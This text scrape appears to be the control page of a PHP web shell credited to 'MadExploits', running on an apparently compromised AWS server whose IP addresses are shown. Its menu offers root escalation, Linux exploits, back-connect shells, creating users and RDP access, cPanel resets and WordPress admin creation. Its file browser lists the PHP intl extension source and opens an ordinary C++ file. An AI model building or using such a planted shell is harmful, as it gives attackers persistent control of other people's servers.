Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.227.89.143
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
php /
80 /
src /
ext /
intl /
[ HOME SHELL ]
Name
Size
Permission
Action
breakiterator
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
collator
[ DIR ]
drwxr-xr-x
common
[ DIR ]
drwxr-xr-x
converter
[ DIR ]
drwxr-xr-x
dateformat
[ DIR ]
drwxr-xr-x
formatter
[ DIR ]
drwxr-xr-x
grapheme
[ DIR ]
drwxr-xr-x
idn
[ DIR ]
drwxr-xr-x
locale
[ DIR ]
drwxr-xr-x
msgformat
[ DIR ]
drwxr-xr-x
normalizer
[ DIR ]
drwxr-xr-x
resourcebundle
[ DIR ]
drwxr-xr-x
spoofchecker
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
timezone
[ DIR ]
drwxr-xr-x
transliterator
[ DIR ]
drwxr-xr-x
uchar
[ DIR ]
drwxr-xr-x
CREDITS
119
B
-rw-r--r--
ERROR_CONVENTIONS.md
4.96
KB
-rw-r--r--
config.m4
4.09
KB
-rw-r--r--
config.w32
4.08
KB
-rw-r--r--
intl_common.h
1.68
KB
-rw-r--r--
intl_convert.c
4.8
KB
-rw-r--r--
intl_convert.h
1.24
KB
-rw-r--r--
intl_convertcpp.cpp
2.54
KB
-rw-r--r--
intl_convertcpp.h
1.22
KB
-rw-r--r--
intl_cppshims.h
1.15
KB
-rw-r--r--
intl_data.h
5.33
KB
-rw-r--r--
intl_error.c
6.86
KB
-rw-r--r--
intl_error.h
2.33
KB
-rw-r--r--
php_intl.c
8.48
KB
-rw-r--r--
php_intl.h
2.42
KB
-rw-r--r--
php_intl.stub.php
16.59
KB
-rw-r--r--
php_intl_arginfo.h
51.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : intl_convertcpp.cpp
/* +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Gustavo Lopes <cataphract@php.net> | +----------------------------------------------------------------------+ */ #include "intl_cppshims.h" #include "intl_convertcpp.h" #include <unicode/ustring.h> extern "C" { #include <php.h> } /* {{{ intl_stringFromChar */ int intl_stringFromChar(UnicodeString &ret, char *str, size_t str_len, UErrorCode *status) { if(str_len > INT32_MAX) { *status = U_BUFFER_OVERFLOW_ERROR; ret.setToBogus(); return FAILURE; } //the number of UTF-16 code units is not larger than that of UTF-8 code //units, + 1 for the terminator int32_t capacity = (int32_t)str_len + 1; //no check necessary -- if NULL will fail ahead UChar *utf16 = ret.getBuffer(capacity); int32_t utf16_len = 0; *status = U_ZERO_ERROR; u_strFromUTF8WithSub(utf16, ret.getCapacity(), &utf16_len, str, str_len, U_SENTINEL /* no substitution */, NULL, status); ret.releaseBuffer(utf16_len); if (U_FAILURE(*status)) { ret.setToBogus(); return FAILURE; } return SUCCESS; } /* }}} */ /* {{{ intl_charFromString * faster than doing intl_convert_utf16_to_utf8( * from.getBuffer(), from.length(), &status), * but consumes more memory */ zend_string* intl_charFromString(const UnicodeString &from, UErrorCode *status) { zend_string *u8res; if (from.isBogus()) { return NULL; } //the number of UTF-8 code units is not larger than that of UTF-16 code //units * 3 int32_t capacity = from.length() * 3; if (from.isEmpty()) { return ZSTR_EMPTY_ALLOC(); } u8res = zend_string_alloc(capacity, 0); const UChar *utf16buf = from.getBuffer(); int32_t actual_len; u_strToUTF8WithSub(ZSTR_VAL(u8res), capacity, &actual_len, utf16buf, from.length(), U_SENTINEL, NULL, status); if (U_FAILURE(*status)) { zend_string_free(u8res); return NULL; } ZSTR_VAL(u8res)[actual_len] = '\0'; ZSTR_LEN(u8res) = actual_len; return u8res; } /* }}} */
Close